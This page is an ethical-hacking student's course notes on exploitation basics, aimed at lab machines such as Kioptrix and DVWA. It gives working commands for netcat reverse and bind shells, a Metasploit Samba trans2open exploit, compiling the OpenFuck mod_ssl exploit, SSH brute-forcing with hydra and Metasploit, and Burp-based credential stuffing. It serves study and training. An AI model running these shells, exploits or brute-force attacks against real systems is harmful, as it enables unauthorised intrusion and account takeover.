TCM Security Academy Notes - by syselement
🏠 Home BlogGitHub📚 Buy Me a Book
  • TCM Security Academy Notes
  • Courses
    • TCM - Linux 101
      • 1. Introduction
        • Linux Distributions
        • Installing Linux
      • 2. Command Line
        • Intro to Command Line
        • Getting help on the Command Line
        • Command Line Arguments and Options
        • Reading Text Files
      • 3. File System
        • Filesystem Hierarchy Standard
        • Devices, Partitions and Mounting
        • Absolute and Relative Paths
        • Files and Directories
        • Paths, Filenames and Text Files
        • Filesystem Links
        • Archiving and Searching Files
      • 4. Users and Groups
        • Working with Users and Groups
        • File and Directory Permissions
        • Changing Users and Passwords
      • 5. Installing Software
        • Package Management
      • 6. Shells
        • Common Command Line Shells
        • Environment Variables & Startup Files
        • Input/Output Redirection
        • Command History & Substitution
      • 7. Utilities and File Editors
        • Searching and Processing Text
        • Networking at the Command Line
        • File Transfer
        • Text Editors and Converters
      • 8. Process Management
        • Process Information
        • Foreground and Background Processes
        • Managing Processes
        • Scheduling Processes
      • 9. Regular Expressions
        • Regular Expressions, Searching, Replacing, Building
      • 10. Bash Scripting
        • Bash Scripting Basics, Control Structures, Loops
      • 🌐Linux101 References
    • TCM - Mobile Application Penetration Testing
      • 1. Introduction & Mobile Pentesting
      • 2. Android Security
      • 3. Android Lab Setup
      • 4. Android Static Analysis
      • 5. Android Dynamic Analysis
      • 6. Android Bug Bounty
      • 7. iOS Security
      • 8. iOS Lab Setup
      • 9. iOS Static Analysis
      • 10. iOS Dynamic Analysis
      • 11. iOS Bug Bounty
      • 🌐MAPT References
    • TCM - Practical Ethical Hacking
      • 1. Introduction & Networking
      • 2. Lab Set Up, Linux & Python
        • Intro to Kali Linux
        • Intro to Python
      • 3. The Ethical Hacker Methodology
        • Information Gathering
        • Scanning & Enumeration
        • Vulnerability Scanning with Nessus
        • Exploitation Basics
        • Capstone Practical Labs
      • 4. Active Directory
        • Active Directory Lab
        • AD - Initial Attack Vectors
        • AD - Post-Compromise Enumeration
        • AD - Post-Compromise Attacks
        • AD - Additional Attacks
        • AD - Case Studies
      • 5. Post Exploitation
      • 6. Web Application
        • Web App Lab Setup
        • Web App - SQL Injection
        • Web App - XSS
        • Web App - Command Injection
        • Web App - Insecure File Upload
        • Web App - Authentication Attacks
        • Web App - XXE
        • Web App - IDOR
        • Web App - Capstone Practical Lab
      • 7. Wireless Attacks
      • 8. Legal Documentation & Report Writing
      • 🌐PEH References
  • 🏠syselement's Blog Home
Powered by GitBook
On this page
  • Reverse shell vs Bind shell
  • netcat
  • Staged vs Non-Staged payloads
  • Metasploit (SMB attack)
  • Manual exploitation
  • Brute force attacks
  • hydra
  • Credential stuffing and Password spraying

Was this helpful?

Edit on GitHub
  1. Courses
  2. TCM - Practical Ethical Hacking
  3. 3. The Ethical Hacker Methodology

Exploitation Basics

PreviousVulnerability Scanning with NessusNextCapstone Practical Labs

Last updated 10 months ago

Was this helpful?

Reverse shell vs Bind shell

netcat

➡️

Reverse shell - the victim/target connects back to the attacker

  • Attack machine - listening on a port

  • Target machine - connect to the attacker machine listening port

# Attacker
nc -nvlp 4444

# Target
nc 192.168.31.131 4444 -e /bin/bash

Bind shell - the attacker opens a port on the target (via exploitation) and connects to it

  • Attack machine - exploits target and opens port listening on target and connects to it

  • Target machine - listens for the attacker connection

  • Specially used on external assessment

# Target
nc -nvlp 4444 -e /bin/bash

# Attacker
nc 192.168.31.131 4444

Staged vs Non-Staged payloads

Non-Staged payload - sends exploit shellcode all at once, larger in size and won't always work

  • Metasploit e.g. payload/windows/meterpreter_reverse_tcp

Staged payload - sends payload in stages, less stable

  • Metasploit e.g. payload/windows/meterpreter/reverse_tcp


Metasploit (SMB attack)

searchsploit samba 2.2
# Run Metasploit
msfconsole

search trans2open
use exploit/linux/samba/trans2open
options

set RHOSTS 192.168.31.130
show targets

run
  • This does not work, since it is using the linux/x86/meterpreter/reverse_tcp staged payload.

  • Try with another payload

set payload linux/x86/shell_reverse_tcp
run
  • Gained reverse shell via Metasploit


Manual exploitation

  • Follow usage instruction to compile the exploit and run it against the target machine

git clone https://github.com/heltonWernik/OpenFuck.git
sudo apt-get install libssl-dev
gcc -o OpenFuck OpenFuck.c -lcrypto

./OpenFuck

# check an offset for Apache 1.3.20 
# ./OpenFuck target box [port] [-c N]
./OpenFuck 0x6b 192.168.31.130 -c 40

Brute force attacks

  • Brute-force attack SSH with weak/default credentials

hydra

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.31.130 -t 4 -V
  • Use the same with Metasploit

msfconsole

search ssh_login
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.31.130
set USERNAME root
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
PASS_FILE => /usr/share/wordlists/metasploit/unix_passwords.txt
set THREADS 10
set VERBOSE true
run

Credential stuffing and Password spraying

ls -lah /usr/share/seclists/Passwords/Leaked-Databases/
  • Setup FoxyProxy in the browser and start BurpSuite.

sudo apt install dvwa

dvwa-start

BurpSuite

  • Turn intercept ON and send the login request to intruder

  • Highlight the username and password values, and add them to the payload positions

  • Attack type - Pitchfork

  • Payloads

    • for each payload set, paste the usernames list and password

    • Start the attack

      • check the response for Status change and Length


Use to exploit -

➡️

- injecting breached account credentials (leaks, etc) in hopes of account takeover

- brute forcing logins based on a list of usernames with default passwords

Use local vulnerable webapp like

Open the login page -

OpenLuck
CVE-2002-0082
Apache mod_ssl < 2.8.7 OpenSSL - Remote Buffer Overflow
hydra
Credential stuffing
Password spraying
dvwa
http://127.0.0.1:42001/vulnerabilities/brute/
netcat
Netcat Reverse Shell - hackingtutorials.org
Reverse shell
Netcat Bind Shell - hackingtutorials.org
Bind shell
searchsploit samba 2.2
root on Kioptrix VM